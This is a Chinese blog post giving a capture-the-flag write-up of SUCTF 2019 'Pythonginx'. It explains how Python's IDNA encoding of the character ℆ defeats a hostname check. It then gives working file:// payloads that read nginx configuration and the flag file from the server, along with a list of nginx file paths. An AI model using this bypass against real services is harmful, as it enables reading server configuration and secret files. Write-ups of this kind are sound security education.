博客园 首页 私信博主 显示目录 隐藏目录 管理
Live2D

[SUCTF 2019]Pythonginx

发现最近做的题都跟CVE关联起来,所以必要深究啊,这里我们来共同探讨一下

题目

拿到题目

 

 

右键查看源代码

 1 @app.route('/getUrl', methods=['GET', 'POST'])
 2 def getUrl():
 3     url = request.args.get("url")
 4     host = parse.urlparse(url).hostname
 5     if host == 'suctf.cc':
 6         return "我扌 your problem? 111"
 7     parts = list(urlsplit(url))
 8     host = parts[1]
 9     if host == 'suctf.cc':
10         return "我扌 your problem? 222 " + host
11     newhost = []
12     for h in host.split('.'):
13         newhost.append(h.encode('idna').decode('utf-8'))
14     parts[1] = '.'.join(newhost)
15     #去掉 url 中的空格
16     finalUrl = urlunsplit(parts).split(' ')[0]
17     host = parse.urlparse(finalUrl).hostname
18     if host == 'suctf.cc':
19         return urllib.request.urlopen(finalUrl).read()
20     else:
21         return "我扌 your problem? 333"
22     </code>
23     <!-- Dont worry about the suctf.cc. Go on! -->
24     <!-- Do you know the nginx? -->

 

分析

我们来通读一遍源码,源码内容很简单

前两个判断 host 是否是 suctf.cc ,如果不是才能继续。然后第三个经过了 decode('utf-8') 之后传进了 urlunsplit 函数,在第三个判断中又必须要等于 suctf.cc 才行。

该题的主要问题是在

h.encode('idna').decode('utf-8')

IDNA实际上是国际化域名

什么是IDN?

国际化域名(Internationalized Domain Name,IDN)又名特殊字符域名,是指部分或完全使用特殊文字或字母组成的互联网域名,包括中文、发育、阿拉伯语、希伯来语或拉丁字母等非英文字母,这些文字经过多字节万国码编码而成。在域名系统中,国际化域名使用punycode转写并以ASCII字符串存储。

℆这个字符,如果使用python3进行idna编码的话
print('℆'.encode('idna'))
结果
b'c/u'
如果再使用utf-8进行解码的话
print(b'c/u'.decode('utf-8'))
结果
c/u
通过这种方法可以绕过本题

Nginx重要配置文件

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

 

直接构造

file://suctf.c℆sr/local/nginx/conf/nginx.conf

得到lfag的位置

再读取flag内容

file://suctf.c%E2%84%86sr/fffffflag

 

参考

https://zhuanlan.zhihu.com/p/104885386?utm_source=wechat_session

posted @ 2020-10-13 09:59  My_Dreams  阅读(481)  评论(0编辑  收藏  举报
(function() { $("pre").addClass("prettyprint"); prettyPrint(); })();